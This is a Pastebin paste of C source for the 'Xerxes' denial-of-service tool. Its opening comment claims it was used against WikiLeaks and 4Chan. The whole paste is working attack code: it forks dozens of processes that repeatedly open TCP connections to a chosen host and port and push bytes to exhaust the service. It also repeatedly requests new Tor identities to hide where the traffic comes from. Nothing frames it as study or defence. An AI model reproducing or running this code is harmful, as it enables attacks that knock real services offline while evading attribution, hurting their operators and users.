Advertisement
1337ings

Xerxes DDoS Tool

Aug 19th, 2016
963
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. /* The Jester used this script to DDoS WikiLeaks & 4Chan, If you can gain a connection the results may vary */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <stdint.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <signal.h>
  9. #include <sys/socket.h>
  10. #include <sys/types.h>
  11. #include <netinet/in.h>
  12. #include <arpa/inet.h>
  13.  
  14. int make_socket(char *host, char *port) {
  15. struct addrinfo hints, *servinfo, *p;
  16. int sock, r;
  17. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  18. memset(&hints, 0, sizeof(hints));
  19. hints.ai_family = AF_UNSPEC;
  20. hints.ai_socktype = SOCK_STREAM;
  21. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  22. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  23. exit(0);
  24. }
  25. for(p = servinfo; p != NULL; p = p->ai_next) {
  26. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  27. continue;
  28. }
  29. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  30. close(sock);
  31. continue;
  32. }
  33. break;
  34. }
  35. if(p == NULL) {
  36. if(servinfo)
  37. freeaddrinfo(servinfo);
  38. fprintf(stderr, "No connection could be made\n");
  39. exit(0);
  40. }
  41. if(servinfo)
  42. freeaddrinfo(servinfo);
  43. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  44. return sock;
  45. }
  46.  
  47. void broke(int s) {
  48. // do nothing
  49. }
  50.  
  51. #define CONNECTIONS 8
  52. #define THREADS 48
  53.  
  54. void attack(char *host, char *port, int id) {
  55. int sockets[CONNECTIONS];
  56. int x, g=1, r;
  57. for(x=0; x!= CONNECTIONS; x++)
  58. sockets[x]=0;
  59. signal(SIGPIPE, &broke);
  60. while(1) {
  61. for(x=0; x != CONNECTIONS; x++) {
  62. if(sockets[x] == 0)
  63. sockets[x] = make_socket(host, port);
  64. r=write(sockets[x], "\0", 1);
  65. if(r == -1) {
  66. close(sockets[x]);
  67. sockets[x] = make_socket(host, port);
  68. } else
  69. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  70. fprintf(stderr, "[%i: Voly Sent]\n", id);
  71. }
  72. fprintf(stderr, "[%i: Voly Sent]\n", id);
  73. usleep(300000);
  74. }
  75. }
  76.  
  77. void cycle_identity() {
  78. int r;
  79. int socket = make_socket("localhost", "9050");
  80. write(socket, "AUTHENTICATE \"\"\n", 16);
  81. while(1) {
  82. r=write(socket, "signal NEWNYM\n\x00", 16);
  83. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  84. usleep(300000);
  85. }
  86. }
  87.  
  88. int main(int argc, char **argv) {
  89. int x;
  90. if(argc !=3)
  91. cycle_identity();
  92. for(x=0; x != THREADS; x++) {
  93. if(fork())
  94. attack(argv[1], argv[2], x);
  95. usleep(200000);
  96. }
  97. getc(stdin);
  98. return 0;
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement